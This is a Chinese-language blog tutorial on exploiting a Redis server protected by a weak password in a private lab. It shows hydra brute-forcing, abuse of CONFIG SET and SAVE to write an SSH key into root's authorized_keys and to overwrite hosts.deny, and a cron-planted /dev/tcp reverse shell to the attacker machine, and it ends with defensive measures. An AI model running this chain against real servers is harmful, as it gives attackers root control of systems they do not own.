redis弱密码漏洞利用及防御

逸兴
逸兴
逸兴
57
文章
25
评论
2023-07-2810:37:20redis弱密码漏洞利用及防御已关闭评论 9135字阅读30分27秒

一、概述

1.1、redis简介

Redis(Remote Dictionary Server)是一个开源的内存数据存储系统,也被称为缓存数据库,它提供了高性能、可扩展、支持多种数据结构的键值存储。由于它将数据存储在内存中, 所以访问速度非常快并且支持多种数据结构,具有广泛的使用场景。

起初它是一个纯内存数据库, 所有数据保存在内存中, 一旦进程关闭或崩溃,所有数据都会丢失。为了解决这个问题, 2010年3月发布的2.0版本中引入了持久化技术, 这使得Redis可以将数据保存到磁盘上,以便在重启后恢复数据。

如果redis未设置密码或使用了弱密码, 攻击者可以成功连接到Redis,而无需进行任何身份验证。一旦连接成功,攻击者就可以执行未经授权的操作, 窃取或篡改业务数据。

本文将演示攻击者如何利用弱密码获得redis访问权限进而利用持久化功能劫持服务器, 以及如何防御。

二、攻击演示

2.1、实验环境

操作系统 软件版本 IP地址 角色 主机名
Centos 7.9 redis-6.2.0 192.168.64.22 靶机 node02
Kali linux 6.1.0-kali9-amd64 192.168.64.200 攻击机 kali

2.2、环境准备

2.2.1、node02安装redis

1.安装redis

安装6.2.0版本,选择编译安装

#安装依赖包
yum install -y  gcc make tcl systemd-devel
#如果是低版本的系统可能需要升级gcc, gcc版本必须5.0以上

#下载源码包
cd /usr/local/src/
wget https://download.redis.io/redis-6.2.0.tar.gz
tar xf redis-6.2.0.tar.gz && cd redis-6.2.0
#编译安装
cpus=grep "processor" /proc/cpuinfo |wc -l
make -j $cpus USE_SYSTEMD=yes && make -j $cpus install 

#创建所需目录
useradd -M -s /sbin/nologin redis
mkdir -p /data/redis/6379 && chown -R redis.redis /data/redis
mkdir -p /var/log/redis/6379 && chown -R redis.redis /var/log/redis
rm -f /usr/lib/systemd/system/redis.service

#写服务配置文件
cat >>/usr/lib/systemd/system/redis.service <<EOF
[Unit]
Description=Redis data structure server
Documentation=https://redis.io/documentation
Wants=network-online.target
After=network-online.target

[Service]
ExecStart=/usr/local/bin/redis-server /etc/redis/redis.conf --supervised systemd --daemonize no
LimitNOFILE=10032
NoNewPrivileges=yes
OOMScoreAdjust=-900
PrivateTmp=yes
Type=notify
TimeoutStartSec=20
TimeoutStopSec=20
UMask=0077
User=root
Group=root

[Install]
WantedBy=multi-user.target
EOF

#拷贝配置文件
mkdir /etc/redis
cp redis.conf /etc/redis/

2.配置redis

#修改程序监听地址
sed -i 's/^bind 127.0.0.1/bind 0.0.0.0/' /etc/redis/redis.conf
#配置一个弱密码
echo 'requirepass 123456' >>/etc/redis/redis.conf
#开启日志
sed -i 's#^logfile .*$#logfile /var/log/redis/6379/redis.log#' /etc/redis/redis.conf
grep '^logfile' /etc/redis/redis.conf

sed -i 's#^dir .*#dir /data/redis/6379#' /etc/redis/redis.conf
grep '^dir' /etc/redis/redis.conf 

#添加端口放行
firewall-cmd --add-port=6379/tcp
firewall-cmd --runtime-to-permanent

3.测试

systemctl daemon-reload         #重新加载systemd的守护进程配置文件
systemctl enable --now redis    #启动redis
[root@node02 redis-6.2.0]# redis-cli -p 6379               #连接redis
127.0.0.1:6379> info                      #需要认证
NOAUTH Authentication required.
127.0.0.1:6379> auth 123456               #使用密码认证
OK                                        #使用锁密码认证成功
127.0.0.1:6379> info
# Server
redis_version:6.2.0
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:76e31301884cfd41
redis_mode:standalone
...

检查下监听地址

image-20230726222941362

2.2.2、安装kali linux

2.3 弱密码猜解

2.3.1、网络扫描

Kali:

┌──(liang㉿kali)-[~]
└─$ nmap -p 6379 --script redis-info 192.168.64.0/24   #扫描网段,找到服务器地址
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-26 07:05 EDT
Nmap scan report for 192.168.64.1
Host is up (0.0039s latency).

PORT     STATE  SERVICE
6379/tcp closed redis

Nmap scan report for 192.168.64.200
Host is up (0.00060s latency).

PORT     STATE  SERVICE
6379/tcp closed redis

Nmap done: 256 IP addresses (2 hosts up) scanned in 1.64 seconds

┌──(liang㉿kali)-[~]
└─$ 

2.3.2、密码字典

密码字典

需要先准备一个密码字典用于暴力破解redis密码。

Crunch是一个强大的密码字典生成工具,它允许用户根据自定义规则和模式生成密码字典。

用法:

crunch <min_length> <max_length> <character_set> [options]
<min_length>:生成密码的最小长度。
<max_length>:生成密码的最大长度。
<character_set>:指定字符集,例如数字、小写字母、大写字母、特殊符号等。
options:
-o 指定输出的字典文件
-f 指定字符集文件, 后面还要跟上字符集的名称(cat /usr/share/crunch/charset.lst)
-d 限制相同元素出现的次数
-t
-s
-e
...

演示使用, 这里使用crunch生成一个简单的纯数字的密码字典。

┌──(liang㉿kali)-[~/data]
└─$ crunch 6 6 -o password.list -f /usr/share/crunch/charset.lst numeric -d 1 
Crunch will now generate the following amount of data: 4133430 bytes
3 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 590490 

crunch: 100% completed generating output

┌──(liang㉿kali)-[~/data]
└─$ 

2.3.3、密码猜解

Hydra是一款流行的密码破解工具,用于暴力破解各种网络服务的登录凭证。它是一个开源工具,支持许多常见的协议和服务,如SSH、FTP、Telnet、HTTP、SMTP、RDP、Redis等, 并且支持多线程。

常用参数:

-p(小写) PASS  尝试使用的密码
-P(大写) FIle  使用的密码字典
-l(小写) LOGIN 使用的用户名
-L(大写) FILE  从文件加载多个用户名
-t TASKS   并发连接数

密码猜解

┌──(liang㉿kali)-[~/data]
└─$ hydra -P password.list -t 8 redis://192.168.64.22   #使用刚刚生成的密码字典,并发8个连接

观察redis服务器的网络连接,可以看到这八个连接

image-20230726225256567

破解速度取决于服务器性能, 正确密码的位置等等。

┌──(liang㉿kali)-[~/data]
└─$ hydra -P password.list -t 8 redis://192.168.64.22
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-07-26 10:51:22
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 8 tasks per 1 server, overall 8 tasks, 590490 login tries (l:1/p:590490), ~73812 tries per task
[DATA] attacking redis://192.168.64.22:6379/
[STATUS] 4198.00 tries/min, 4198 tries in 00:01h, 586292 to do in 02:20h, 8 active
[STATUS] 4229.33 tries/min, 12688 tries in 00:03h, 577802 to do in 02:17h, 8 active
[STATUS] 4239.00 tries/min, 29673 tries in 00:07h, 560817 to do in 02:13h, 8 active
[STATUS] 4254.67 tries/min, 63820 tries in 00:15h, 526670 to do in 02:04h, 8 active
[6379][redis] host: 192.168.64.22   password: 123456     #正确密码
[STATUS] attack finished for 192.168.64.22 (valid pair found)
1 of 1 target successfully completed, 1 valid password found

由于我这是在arm芯片上模拟x86cpu运行的虚拟机性能很差, 花费了十多分钟, 感兴趣的同学可以自己试一下。可以看到给出了正确密码123456

2.4、获取root权限

拿到密码后, 登录redis

┌──(liang㉿kali)-[~/data]
└─$ redis-cli -h 192.168.64.22 -p 6379 -a 123456                        
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
192.168.64.22:6379> info           #登录成功
# Server
redis_version:6.2.0
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:76e31301884cfd41
redis_mode:standalone
...

2.4.1、生成ssh密钥

攻击机先生成一对ssh密钥:

┌──(liang㉿kali)-[~]
└─$ ssh-keygen -t rsa -N ''
Generating public/private rsa key pair.
Enter file in which to save the key (/home/liang/.ssh/id_rsa): 
Created directory '/home/liang/.ssh'.
Your identification has been saved in /home/liang/.ssh/id_rsa
Your public key has been saved in /home/liang/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:0dRC8vOGtq1AqK9CEXQeEwaBIkKNcuAVQTbzdAceeTg liang@kali
The key's randomart image is:
+---[RSA 3072]----+
|o=B@Oo +=oo.     |
|B.===ooEo*. .    |
|=o ... .+ +.     |
|  .    . . +     |
|   .  . S o o    |
|  .  . . . +     |
| .  .   . . .    |
|  .  .   . .     |
|   ....   .      |
+----[SHA256]-----+

┌──(liang㉿kali)-[~]
└─$ cat ~/.ssh/id_rsa.pub   #公钥
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC34Sr9V98QXFqUTKdhi4FvLh1bZJ3HpjklatfmgkYyguTGK4xSadiBwdyzDMomlZ8dlL2lKKkLiTUAnXBnZCkarrvDgiNkRGWc4tagVdTtmi2/1eXeQEnPniDHj7TLzY56EaUvAlpWCuTEEuYqj/9YhgOBSXRKPHQ5o5mBTQPgTNhShGtFicLjHE9U7gg8EGa7TqLF+U3hy9t101RGXMYkXUrLvEoSLrZt7ECRoneXORfo2fUcsw4nGIy7SrIqhp+xM6fNuUZPENWHn5fFTtAzSK3io6MmXPXw8p47cHH6iAQOXdApEYoIv3MaviQp+L4aeoCYsVYcj98I0S6NcF9R0yD8216CC7UgTgpB+HkRDQLjHc0jWkYhCg9j6vnO1ATLTbgoMWmiWKpwzoRjIjHLND8I1niyjvbAXK24vm0T2ZOWAi0aUNbi3hcZdhVg933+mzqJDztqS1vvKTZa/ZZZxRRYYDKJJiAVS+nR1a7clnVHCK9DC9pjKDOoQGRKAeE= liang@kali

┌──(liang㉿kali)-[~]
└─$ 

2.4.2、修改redis server持久化配置

将生成的ssh公钥放入靶机的ssh密钥认证文件中, 具体操作如下:

┌──(liang㉿kali)-[~/data]
└─$ redis-cli -h 192.168.64.22 -p 6379 -a 123456
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
192.168.64.22:6379> 
192.168.64.22:6379> 
192.168.64.22:6379> config get dir     #查看当前存储位置
1) "dir"
2) "/data/redis/6379"
192.168.64.22:6379> config set dir /root/.ssh     #修改到ssh认证密钥目录
OK
192.168.64.22:6379> config get dbfilename    #查看当前数据文件名
1) "dbfilename"
2) "dump.rdb"
192.168.64.22:6379> config set dbfilename authorized_keys   #将持久化存储文件名改为认证文件名
OK
192.168.64.22:6379> config get dir           #最后检查下
1) "dir"
2) "/root/.ssh"
192.168.64.22:6379> config get dbfilename    #最后检查下
1) "dbfilename"
2) "authorized_keys"
192.168.64.22:6379> 

2.4.3、写入ssh公钥

192.168.64.22:6379> flushall         #清空所有数据,防止数据量大产生干扰
OK
192.168.64.22:6379> set k "\n\n\n\nssh-rsa   AAAAB3NzaC1yc2EAAAADAQABAAABgQC34Sr9V98QXFqUTKdhi4FvLh1bZJ3HpjklatfmgkYyguTGK4xSadiBwdyzDMomlZ8dlL2lKKkLiTUAnXBnZCkarrvDgiNkRGWc4tagVdTtmi2/1eXeQEnPniDHj7TLzY56EaUvAlpWCuTEEuYqj/9YhgOBSXRKPHQ5o5mBTQPgTNhShGtFicLjHE9U7gg8EGa7TqLF+U3hy9t101RGXMYkXUrLvEoSLrZt7ECRoneXORfo2fUcsw4nGIy7SrIqhp+xM6fNuUZPENWHn5fFTtAzSK3io6MmXPXw8p47cHH6iAQOXdApEYoIv3MaviQp+L4aeoCYsVYcj98I0S6NcF9R0yD8216CC7UgTgpB+HkRDQLjHc0jWkYhCg9j6vnO1ATLTbgoMWmiWKpwzoRjIjHLND8I1niyjvbAXK24vm0T2ZOWAi0aUNbi3hcZdhVg933+mzqJDztqS1vvKTZa/ZZZxRRYYDKJJiAVS+nR1a7clnVHCK9DC9pjKDOoQGRKAeE= liang@kalinnnn"     #将我们的公钥以kv对的形式存储近redis
192.168.64.22:6379> save           #然后持久化存储,这样我们的key就保存到了服务器认证目录上
OK
192.168.64.22:6379> 

如果服务器配置了TCP Wrappers,我们同样可以利用持久化机制覆盖/etc/hosts.deny, 如下:

┌──(liang㉿kali)-[~]
└─$ redis-cli -h 192.168.64.22 -p 6379 -a 123456
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
192.168.64.22:6379> 
192.168.64.22:6379> config set dir /etc
OK
192.168.64.22:6379> config set dbfilename hosts.deny
OK
192.168.64.22:6379> flushall
OK
192.168.64.22:6379> set k ''
OK
192.168.64.22:6379> save
OK
192.168.64.22:6379>

image-20230727154734785

原文件内容已被覆盖

登录测试

image-20230727104503261

登录成功, 获得root权限。

2.4.4、反弹式shell

如果ssh被拦截无法使用, 可以使用反弹式shell登录主机。

1.向计划任务中写入反弹式shell

┌──(liang㉿kali)-[~]
└─$ redis-cli -h 192.168.64.22 -p 6379 -a 123456
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
192.168.64.22:6379> 
192.168.64.22:6379> config set dir /var/spool/cron
OK
192.168.64.22:6379> config set dbfilename root
OK
192.168.64.22:6379> flushall
OK
192.168.64.22:6379> set k "\n\n*/1 * * * * /bin/bash -i >&/dev/tcp/192.168.64.200/51127 0>&1nn"
OK
192.168.64.22:6379> save
OK
192.168.64.22:6379> 

2.攻击机上启动nc监听51127端口,等待靶机连接

image-20230727160229629

等待1分钟, 可以看到靶机已经连接上了。

image-20230727160414567

至此登录成功并获得服务器root权限。

三、如何防御

回顾整个攻击流程:

  1. 网络扫描找到目标IP和端口号
  2. 弱密码口令猜解
  3. config修改Redis配置, 改写敏感系统文件(密钥认证, 计划任务)获得root权限
  4. ssh远程登录
  5. 建立反弹式shell

根据每个攻击步骤我们可以制定相应的防御方法:

  1. 将服务监听在内网网卡上, 互联网访问通过代理转发进行

    开启防火墙, 服务端口只对指定IP开放。

  2. redis设置复杂的认证密码。

  3. 此处的关键点在于config命令在线修改redis配置进而篡改关键系统文件

    a. 在redis配置中添加"修改或禁用高危命令"屏蔽相关config命令

    b. 以普通用户运行服务并设置shell类型为/sbin/nologin, 使其即使修改了redis配置也没有足够的权限篡改系统文件。

  4. 对于ssh登录行为, 进行双因子认证。
  5. redis作为缓存服务器通常位于web服务器与数据库服务器之间, 这种情况下是完全不需要访问外网的, 可以关闭外网访问权限。

另外, 我们可以加强网络监控, 包扩但不限于redis, ssh等网络连接, 对历史连接的IP进行分析梳理, 对异常或新加入的IP进行分析检测,分析判断是否为异常IP, 从而加强风险监测。




https://www.hugbg.com/archives/3780.html
逸兴
  • 本文由 发表于 2023-07-2810:37:20
  • 除非特殊声明,本站文章均为原创,转载请务必保留本文链接
自动更新SSL证书 默认分类

自动更新SSL证书

现在免费的SSL证书只有三个月有效期,有一个博客和图床都用的ssl证书到期需要重新签发,挺麻烦的。原本想着写个脚本通过阿里云的 OpenAPI 进行证书的签发和部署,但是偶然发现了 ACME 这个项目...
推导式、生成式与生成器 基础语法

推导式、生成式与生成器

推导式 概述 Python中的推导式是一种快速、简洁的数据结构创建方式,不需要手动创建数据结构中的每一个元素,类似于给出一个规律,python会根据这个规律自动填充数据结构。支持有列表推导式、字典推导...
CVE-2024-38077 Windows RDL漏洞检测修复方法(末尾) 默认分类

CVE-2024-38077 Windows RDL漏洞检测修复方法(末尾)

一、漏洞详情 Windows Server是由微软开发的操作系统系列,专为服务器环境设计,用于管理网络、数据存储和应用程序的运行。它为企业和组织提供了稳定、可靠的服务器平台,支持各种规模的网络基础设施...
Django DRF禁用URL末尾斜杆(:) 点点滴滴

Django DRF禁用URL末尾斜杆(:)

一、关于URL末尾斜杆 比如http://127.0.0.1:8000/api/v1/register 和 http://127.0.0.1:8000/api/v1/register/, 这两个是同一...